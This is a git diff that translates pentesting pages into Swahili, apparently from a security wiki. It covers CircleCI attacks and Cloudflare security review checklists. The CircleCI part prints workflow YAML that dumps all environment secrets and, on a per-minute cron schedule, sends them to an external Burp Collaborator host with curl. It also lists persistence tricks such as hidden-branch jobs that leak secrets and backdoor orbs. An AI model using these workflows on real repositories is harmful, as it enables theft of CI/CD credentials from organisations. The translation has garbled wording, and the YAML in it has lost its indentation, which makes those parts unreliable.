`.circleci/config.yml` ya **kila repo kwenye kila tawi** na **tafuta** siri za **maandishi safi** zinazoweza kuwa zimehifadhiwa humo. -#### Secret Env Vars & Context enumeration +#### Siri za Env Vars & Uainishaji wa Muktadha -Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_. +Ukikagua msimbo unaweza kupata **majina yote ya siri** yanayotumika katika kila faili `.circleci/config.yml`. Unaweza pia kupata **majina ya muktadha** kutoka kwa hizo faili au kuangalia kwenye console ya wavuti: _https://app.circleci.com/settings/organization/github/\/contexts_. -#### Exfiltrate Project secrets +#### Fanya Uhamishaji wa Siri za Mradi > [!WARNING] -> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_). +> Ili **kuhamasisha ZOTE** siri za mradi na muktadha **UNAHITAJI** tu kuwa na **UFACCESSI WA KUANDIKA** kwa **repo 1 tu** katika shirika lote la github (_na akaunti yako inapaswa kuwa na ufaccessi kwa muktadha lakini kwa kawaida kila mtu anaweza kupata kila muktadha_). > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**. - -All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**: +> Kazi ya "**Kuagiza Vigezo**" inaruhusu **kuagiza vigezo kutoka miradi mingine** hadi hii. Hivyo, mshambuliaji anaweza **kuagiza vigezo vyote vya mradi kutoka kwa repos zote** na kisha **kuhamasisha zote pamoja**. +Siri zote za mradi kila wakati zimewekwa katika env ya kazi, hivyo tu kuita env na kuificha kwa base64 itahamisha siri katika **console ya logi ya wavuti ya workflows**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env +exfil-env-workflow: +jobs: +- exfil-env ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Ikiwa **huna ufikiaji wa console ya wavuti** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kuunda workflow** ambayo inachochewa kila dakika na ambayo **inasafirisha siri kwa anwani ya nje**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env ``` - #### Exfiltrate Context Secrets -You need to **specify the context name** (this will also exfiltrate the project secrets): - +Unahitaji **kueleza jina la muktadha** (hii pia itatoa siri za mradi): ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +jobs: +- exfil-env: +context: Test-Context ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Ikiwa **huna ufikiaji wa web console** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kubadilisha workflow** ambayo **inasababishwa kila dakika** na ambayo **inasafirisha siri kwa anwani ya nje**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env: +context: Test-Context ``` - > [!WARNING] -> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**. +> Kuunda tu `.circleci/config.yml` mpya katika repo **siyo ya kutosha kuanzisha ujenzi wa circleci**. Unahitaji **kuifanya kuwa mradi katika console ya circleci**. -#### Escape to Cloud +#### Kutoroka kwa Wingu -**CircleCI** gives you the option to run **your builds in their machines or in your own**.\ -By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**. - -Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions): +**CircleCI** inakupa chaguo la kuendesha **ujenzi wako katika mashine zao au katika zako mwenyewe**.\ +Kwa kawaida, mashine zao ziko katika GCP, na awali huwezi kupata chochote muhimu. Hata hivyo, ikiwa mwathirika anatekeleza kazi katika **mashine zao wenyewe (labda, katika mazingira ya wingu)**, unaweza kupata **nukta ya metadata ya wingu yenye habari za kuvutia**. +Kumbuka kwamba katika mifano ya awali kila kitu kilizinduliwa ndani ya kontena la docker, lakini unaweza pia **kuomba kuzindua mashine ya VM** (ambayo inaweza kuwa na ruhusa tofauti za wingu): ```yaml jobs: - exfil-env: - #docker: - # - image: cimg/base:stable - machine: - image: ubuntu-2004:current +exfil-env: +#docker: +# - image: cimg/base:stable +machine: +image: ubuntu-2004:current ``` - -Or even a docker container with access to a remote docker service: - +Au hata kontena la docker lenye ufikiaji wa huduma ya docker ya mbali: ```yaml jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - setup_remote_docker: - version: 19.03.13 +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- setup_remote_docker: +version: 19.03.13 ``` - #### Persistence -- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access. - - _https://app.circleci.com/settings/user/tokens_ -- It's possible to **create projects tokens** to access the project with the permissions given to the token. - - _https://app.circleci.com/settings/project/github/\/\/api_ -- It's possible to **add SSH keys** to the projects. - - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday. - - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday. -- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor** -- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value +- Inawezekana **kuunda** **tokens za mtumiaji katika CircleCI** ili kufikia API endpoints kwa ufikiaji wa watumiaji. +- _https://app.circleci.com/settings/user/tokens_ +- Inawezekana **kuunda tokens za miradi** ili kufikia mradi kwa ruhusa zilizotolewa kwa token. +- _https://app.circleci.com/settings/project/github/\/\/api_ +- Inawezekana **kuongeza funguo za SSH** kwenye miradi. +- _https://app.circleci.com/settings/project/github/\/\/ssh_ +- Inawezekana **kuunda kazi ya cron katika tawi lililofichwa** katika mradi usiotarajiwa ambao unatoa **leak** ya **context env** vars kila siku. +- Au hata kuunda katika tawi / kubadilisha kazi inayojulikana ambayo itatoa **leak** ya muktadha wote na **siri za miradi** kila siku. +- Ikiwa wewe ni mmiliki wa github unaweza **kuruhusu orbs zisizothibitishwa** na kuziunda katika kazi kama **backdoor** +- Unaweza kupata **udhaifu wa kuingiza amri** katika kazi fulani na **kuingiza amri** kupitia **siri** kwa kubadilisha thamani yake {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 77d2c2c50..5cf035f7d 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Katika akaunti ya Cloudflare kuna **mipangilio na huduma za jumla** ambazo zinaweza kuanzishwa. Katika ukurasa huu tutachambua **mipangilio inayohusiana na usalama ya kila sehemu:**
## Websites -Review each with: +Kagua kila moja na: {{#ref}} cloudflare-domains.md @@ -16,9 +16,9 @@ cloudflare-domains.md ### Domain Registration -- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. +- [ ] Katika **`Transfer Domains`** hakikisha kuwa haiwezekani kuhamasisha domain yoyote. -Review each with: +Kagua kila moja na: {{#ref}} cloudflare-domains.md @@ -26,39 +26,39 @@ cloudflare-domains.md ## Analytics -_I couldn't find anything to check for a config security review._ +_Sikuweza kupata chochote cha kukagua kwa ajili ya ukaguzi wa usalama wa mipangilio._ ## Pages -On each Cloudflare's page: +Katika kila ukurasa wa Cloudflare: -- [ ] Check for **sensitive information** in the **`Build log`**. -- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages. -- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/). -- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any). -- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code** -- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**. -- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page. +- [ ] Kagua kwa **taarifa nyeti** katika **`Build log`**. +- [ ] Kagua kwa **taarifa nyeti** katika **Github repository** iliyotengwa kwa ajili ya kurasa. +- [ ] Kagua kwa uwezekano wa kuathiriwa kwa github repo kupitia **workflow command injection** au kuathiriwa kwa `pull_request_target`. Maelezo zaidi katika [**Github Security page**](../github-security/). +- [ ] Kagua kwa **kazi zenye udhaifu** katika saraka ya `/fuctions` (ikiwa ipo), kagua **redirects** katika faili ya `_redirects` (ikiwa ipo) na **vichwa vilivyopangwa vibaya** katika faili ya `_headers` (ikiwa ipo). +- [ ] Kagua kwa **udhaifu** katika **ukurasa wa wavuti** kupitia **blackbox** au **whitebox** ikiwa unaweza **kufikia msimbo** +- [ ] Katika maelezo ya kila ukurasa `//pages/view/blocklist/settings/functions`. Kagua kwa **taarifa nyeti** katika **`Environment variables`**. +- [ ] Katika ukurasa wa maelezo kagua pia **amri ya kujenga** na **saraka ya mzizi** kwa ajili ya **uwezekano wa kuingilia** ili kuathiri ukurasa. ## **Workers** -On each Cloudflare's worker check: +Katika kila mfanyakazi wa Cloudflare kagua: -- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? -- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** -- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) - - Check for SSRFs returning the indicated page that you can control - - Check XSSs executing JS inside a svg image - - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. +- [ ] Vichocheo: Nini kinachofanya mfanyakazi kuanzishwa? Je, **mtumiaji anaweza kutuma data** ambayo itatumika na mfanyakazi? +- [ ] Katika **`Settings`**, kagua kwa **`Variables`** zinazokuwa na **taarifa nyeti** +- [ ] Kagua **msimbo wa mfanyakazi** na tafuta kwa **udhaifu** (hasa katika maeneo ambapo mtumiaji anaweza kudhibiti ingizo) +- Kagua kwa SSRFs zinazorejesha ukurasa ulioonyeshwa ambao unaweza kudhibiti +- Kagua XSSs zinazotekeleza JS ndani ya picha ya svg +- Inawezekana kwamba mfanyakazi anashirikiana na huduma nyingine za ndani. Kwa mfano, mfanyakazi anaweza kuingiliana na R2 bucket inayohifadhi taarifa ndani yake iliyopatikana kutoka kwa ingizo. Katika kesi hiyo, itahitajika kukagua ni uwezo gani mfanyakazi ana juu ya R2 bucket na jinsi gani inaweza kutumika vibaya kutokana na ingizo la mtumiaji. > [!WARNING] -> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. +> Kumbuka kwamba kwa kawaida **Mfanyakazi anapewa URL** kama `..workers.dev`. Mtumiaji anaweza kuipanga kuwa **subdomain** lakini unaweza kila wakati kuipata kwa hiyo **URL ya asili** ikiwa unajua. ## R2 -On each R2 bucket check: +Katika kila R2 bucket kagua: -- [ ] Configure **CORS Policy**. +- [ ] Panga **CORS Policy**. ## Stream @@ -70,8 +70,8 @@ TODO ## Security Center -- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise. -- [ ] Just **check this information** for security misconfigurations and interesting info +- [ ] Ikiwezekana,endesha **`Security Insights`** **scan** na **`Infrastructure`** **scan**, kwani zitatoa **maelezo** ya kuvutia kuhusu **usalama**. +- [ ] Kagua tu **taarifa hii** kwa ajili ya mipangilio mibaya ya usalama na taarifa za kuvutia ## Turnstile @@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static ā€” they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. +> Tofauti na [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) kimsingi ni za kudumu ā€” hazisaidii **operesheni za kubadilisha nyuzi** au matumizi ya kawaida. Hata hivyo, unaweza kupanga vigezo vya URL redirect vinavyoathiri tabia yao ya ulinganifu wa URL na tabia yao ya wakati wa kutekeleza. -- [ ] Check that the **expressions** and **requirements** for redirects **make sense**. -- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info. +- [ ] Kagua kwamba **expressions** na **requirements** za redirects **zina maana**. +- [ ] Kagua pia kwa **mipangilio ya siri iliyofichwa** ambayo ina taarifa za kuvutia. ## Notifications -- [ ] Check the **notifications.** These notifications are recommended for security: - - `Usage Based Billing` - - `HTTP DDoS Attack Alert` - - `Layer 3/4 DDoS Attack Alert` - - `Advanced HTTP DDoS Attack Alert` - - `Advanced Layer 3/4 DDoS Attack Alert` - - `Flow-based Monitoring: Volumetric Attack` - - `Route Leak Detection Alert` - - `Access mTLS Certificate Expiration Alert` - - `SSL for SaaS Custom Hostnames Alert` - - `Universal SSL Alert` - - `Script Monitor New Code Change Detection Alert` - - `Script Monitor New Domain Alert` - - `Script Monitor New Malicious Domain Alert` - - `Script Monitor New Malicious Script Alert` - - `Script Monitor New Malicious URL Alert` - - `Script Monitor New Scripts Alert` - - `Script Monitor New Script Exceeds Max URL Length Alert` - - `Advanced Security Events Alert` - - `Security Events Alert` -- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** - - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** +- [ ] Kagua **notifications.** Taarifa hizi zinapendekezwa kwa usalama: +- `Usage Based Billing` +- `HTTP DDoS Attack Alert` +- `Layer 3/4 DDoS Attack Alert` +- `Advanced HTTP DDoS Attack Alert` +- `Advanced Layer 3/4 DDoS Attack Alert` +- `Flow-based Monitoring: Volumetric Attack` +- `Route Leak Detection Alert` +- `Access mTLS Certificate Expiration Alert` +- `SSL for SaaS Custom Hostnames Alert` +- `Universal SSL Alert` +- `Script Monitor New Code Change Detection Alert` +- `Script Monitor New Domain Alert` +- `Script Monitor New Malicious Domain Alert` +- `Script Monitor New Malicious Script Alert` +- `Script Monitor New Malicious URL Alert` +- `Script Monitor New Scripts Alert` +- `Script Monitor New Script Exceeds Max URL Length Alert` +- `Advanced Security Events Alert` +- `Security Events Alert` +- [ ] Kagua zote **destinations**, kwani kunaweza kuwa na **taarifa nyeti** (basic http auth) katika urls za webhook. Hakikisha pia urls za webhook zinatumia **HTTPS** +- [ ] Kama ukaguzi wa ziada, unaweza kujaribu **kujifanya kuwa notification ya cloudflare** kwa upande wa tatu, labda unaweza kwa namna fulani **kuingiza kitu hatari** ## Manage Account -- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. -- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. -- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. - - Therefore, whenever possible is **recommended** to use the **Enterprise plan**. -- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. +- [ ] Inawezekana kuona **nambari 4 za mwisho za kadi ya mkopo**, **muda wa kumalizika** na **anwani ya bili** katika **`Billing` -> `Payment info`**. +- [ ] Inawezekana kuona **aina ya mpango** inayotumika katika akaunti katika **`Billing` -> `Subscriptions`**. +- [ ] Katika **`Members`** inawezekana kuona wanachama wote wa akaunti na **nafasi** zao. Kumbuka kwamba ikiwa aina ya mpango si Enterprise, kuna nafasi 2 tu: Msimamizi na Msimamizi Mkuu. Lakini ikiwa **mpango unaotumika ni Enterprise**, [**nafasi zaidi**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) zinaweza kutumika kufuata kanuni ya chini ya kibali. +- Kwa hivyo, kila wakati inapowezekana ni **pendekezo** kutumia **mpango wa Enterprise**. +- [ ] Katika Wanachama inawezekana kukagua ni **wanachama** gani wana **2FA imewezeshwa**. **Kila** mtumiaji anapaswa kuwa nayo imewezeshwa. > [!NOTE] -> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) +> Kumbuka kwamba kwa bahati nzuri nafasi **`Administrator`** haina ruhusa za kusimamia uanachama (**haiwezi kuongeza ruhusa au kuwaleta** wanachama wapya) ## DDoS Investigation -[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). +[Angalia sehemu hii](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 02989e685..f69351697 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,29 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Katika kila TLD iliyowekwa kwenye Cloudflare kuna **mipangilio na huduma za jumla** ambazo zinaweza kuwekwa. Katika ukurasa huu tutachambua **mipangilio inayohusiana na usalama ya kila sehemu:**
### Overview -- [ ] Get a feeling of **how much** are the services of the account **used** -- [ ] Find also the **zone ID** and the **account ID** +- [ ] Pata hisia ya **ni kiasi gani** huduma za akaunti **zinatumika** +- [ ] Pata pia **zone ID** na **account ID** ### Analytics -- [ ] In **`Security`** check if there is any **Rate limiting** +- [ ] Katika **`Security`** angalia kama kuna **Rate limiting** ### DNS -- [ ] Check **interesting** (sensitive?) data in DNS **records** -- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com) -- [ ] Check for web pages that **aren't** **proxied** -- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address -- [ ] Check that **DNSSEC** is **enabled** -- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs** - - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings -- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] Angalia **data za kuvutia** (nyeti?) katika **records** za DNS +- [ ] Angalia **subdomains** ambazo zinaweza kuwa na **habari nyeti** kulingana na **jina** (kama admin173865324.domin.com) +- [ ] Angalia kurasa za wavuti ambazo **hazijapangwa** **proxied** +- [ ] Angalia kwa **kurasa za wavuti zilizopangwa** ambazo zinaweza **kupatikana moja kwa moja** kwa CNAME au anwani ya IP +- [ ] Hakikisha kwamba **DNSSEC** ime **wezeshwa** +- [ ] Hakikisha kwamba **CNAME Flattening** inatumika katika **CNAME zote** +- Hii inaweza kuwa na manufaa ili **kuficha udhaifu wa kuchukua subdomain** na kuboresha nyakati za upakiaji +- [ ] Hakikisha kwamba majina ya **hayana udhaifu wa spoofing** [**hayana udhaifu wa spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) ### **Email** @@ -38,44 +38,44 @@ TODO #### **Overview** -- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point. -- [ ] The **SSL/TLS Recommender** should be enabled +- [ ] **SSL/TLS encryption** inapaswa kuwa **Full** au **Full (Strict)**. Mengineyo yatatuma **trafiki ya maandiko wazi** kwa wakati fulani. +- [ ] **SSL/TLS Recommender** inapaswa kuwezeshwa #### Edge Certificates -- [ ] **Always Use HTTPS** should be **enabled** -- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled** -- [ ] **Minimum TLS Version should be 1.2** -- [ ] **TLS 1.3 should be enabled** -- [ ] **Automatic HTTPS Rewrites** should be **enabled** -- [ ] **Certificate Transparency Monitoring** should be **enabled** +- [ ] **Always Use HTTPS** inapaswa kuwa **imewezeshwa** +- [ ] **HTTP Strict Transport Security (HSTS)** inapaswa kuwa **imewezeshwa** +- [ ] **Minimum TLS Version inapaswa kuwa 1.2** +- [ ] **TLS 1.3 inapaswa kuwa imewezeshwa** +- [ ] **Automatic HTTPS Rewrites** inapaswa kuwa **imewezeshwa** +- [ ] **Certificate Transparency Monitoring** inapaswa kuwa **imewezeshwa** ### **Security** -- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses. - - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used. -- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used -- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare -- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections** -- [ ] In the **`Settings`** section: - - [ ] Check that the **`Security Level`** is **medium** or greater - - [ ] Check that the **`Challenge Passage`** is 1 hour at max - - [ ] Check that the **`Browser Integrity Check`** is **enabled** - - [ ] Check that the **`Privacy Pass Support`** is **enabled** +- [ ] Katika sehemu ya **`WAF`** ni muhimu kuangalia kwamba **Firewall** na **kanuni za rate limiting zinatumika** kuzuia matumizi mabaya. +- Kitendo cha **`Bypass`** kita **zima vipengele vya usalama vya Cloudflare** kwa ombi. Hakipaswi kutumika. +- [ ] Katika sehemu ya **`Page Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa kuna ukurasa wowote unatumika +- [ ] Katika sehemu ya **`API Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa kuna API yoyote iliyofichuliwa kwenye Cloudflare +- [ ] Katika sehemu ya **`DDoS`** inapendekezwa kuwezesha **DDoS protections** +- [ ] Katika sehemu ya **`Settings`**: +- [ ] Hakikisha kwamba **`Security Level`** ni **kati** au zaidi +- [ ] Hakikisha kwamba **`Challenge Passage`** ni saa 1 kwa max +- [ ] Hakikisha kwamba **`Browser Integrity Check`** ime **wezeshwa** +- [ ] Hakikisha kwamba **`Privacy Pass Support`** ime **wezeshwa** #### **CloudFlare DDoS Protection** -- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access. -- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie. - - If the attack is from a **verified bot**, at least **add a rate limit** to bots. - - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path. - - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF. - - Check if **Managed rules** could also help to prevent vulnerability exploitations. - - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.** -- In DDoS you could **override some rules to make them more restrictive**. -- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**. -- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled -- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events** +- Ikiwa unaweza, wezesha **Bot Fight Mode** au **Super Bot Fight Mode**. Ikiwa unalinda API fulani inayopatikana kwa njia ya programu (kutoka ukurasa wa mbele wa JS kwa mfano). Huenda usiweze kuwezesha hii bila kuvunja ufikiaji huo. +- Katika **WAF**: Unaweza kuunda **mipaka ya kiwango kwa njia ya URL** au kwa **bots zilizothibitishwa** (kanuni za rate limiting), au **kuzuia ufikiaji** kulingana na IP, Cookie, referrer...). Hivyo unaweza kuzuia maombi ambayo hayajatoka kwenye ukurasa wa wavuti au yana cookie. +- Ikiwa shambulio linatoka kwa **bot iliyothibitishwa**, angalau **ongeza kiwango cha mipaka** kwa bots. +- Ikiwa shambulio linahusiana na **njia maalum**, kama njia ya kuzuia, ongeza **mipaka ya kiwango** katika njia hii. +- Unaweza pia **kuongeza kwenye orodha ya nyeupe** anwani za IP, anuwai za IP, nchi au ASNs kutoka **Zana** katika WAF. +- Angalia ikiwa **Managed rules** zinaweza pia kusaidia kuzuia matumizi mabaya ya udhaifu. +- Katika sehemu ya **Zana** unaweza **kuzuia au kutoa changamoto kwa IP maalum** na **vifaa vya mtumiaji.** +- Katika DDoS unaweza **kubadilisha baadhi ya kanuni ili kuzifanya kuwa za kukatisha tamaa zaidi**. +- **Settings**: Weka **Security Level** kuwa **Juu** na kuwa **Chini ya Shambulio** ikiwa uko chini ya shambulio na kwamba **Browser Integrity Check imewezeshwa**. +- Katika Cloudflare Domains -> Analytics -> Security -> Angalia ikiwa **rate limit** imewezeshwa +- Katika Cloudflare Domains -> Security -> Events -> Angalia kwa **matukio mabaya yaliyogunduliwa** ### Access @@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md ### Speed -_I couldn't find any option related to security_ +_Sikuweza kupata chaguo lolote linalohusiana na usalama_ ### Caching -- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool** +- [ ] Katika sehemu ya **`Configuration`** fikiria kuwezesha **CSAM Scanning Tool** ### **Workers Routes** -_You should have already checked_ [_cloudflare workers_](./#workers) +_Unapaswa kuwa umeshakagua_ [_cloudflare workers_](./#workers) ### Rules @@ -101,9 +101,9 @@ TODO ### Network -- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled** -- [ ] **`HTTP/3 (with QUIC)`** should be **enabled** -- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled** +- [ ] Ikiwa **`HTTP/2`** ime **wezeshwa**, **`HTTP/2 to Origin`** inapaswa kuwa **imewezeshwa** +- [ ] **`HTTP/3 (with QUIC)`** inapaswa kuwa **imewezeshwa** +- [ ] Ikiwa **faragha** ya **watumiaji** wako ni muhimu, hakikisha **`Onion Routing`** ime **wezeshwa** ### **Traffic** @@ -111,7 +111,7 @@ TODO ### Custom Pages -- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode) +- [ ] Ni hiari kuweka kurasa maalum wakati kosa linalohusiana na usalama linapotokea (kama kizuizi, rate limiting au niko chini ya shambulio) ### Apps @@ -119,8 +119,8 @@ TODO ### Scrape Shield -- [ ] Check **Email Address Obfuscation** is **enabled** -- [ ] Check **Server-side Excludes** is **enabled** +- [ ] Angalia **Email Address Obfuscation** ime **wezeshwa** +- [ ] Angalia **Server-side Excludes** ime **wezeshwa** ### **Zaraz** @@ -131,7 +131,3 @@ TODO TODO {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 491ae7bc1..bc2e39982 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -2,43 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Katika akaunti ya **Cloudflare Zero Trust Network** kuna **mipangilio na huduma** ambazo zinaweza kuwekewa mipangilio. Katika ukurasa huu 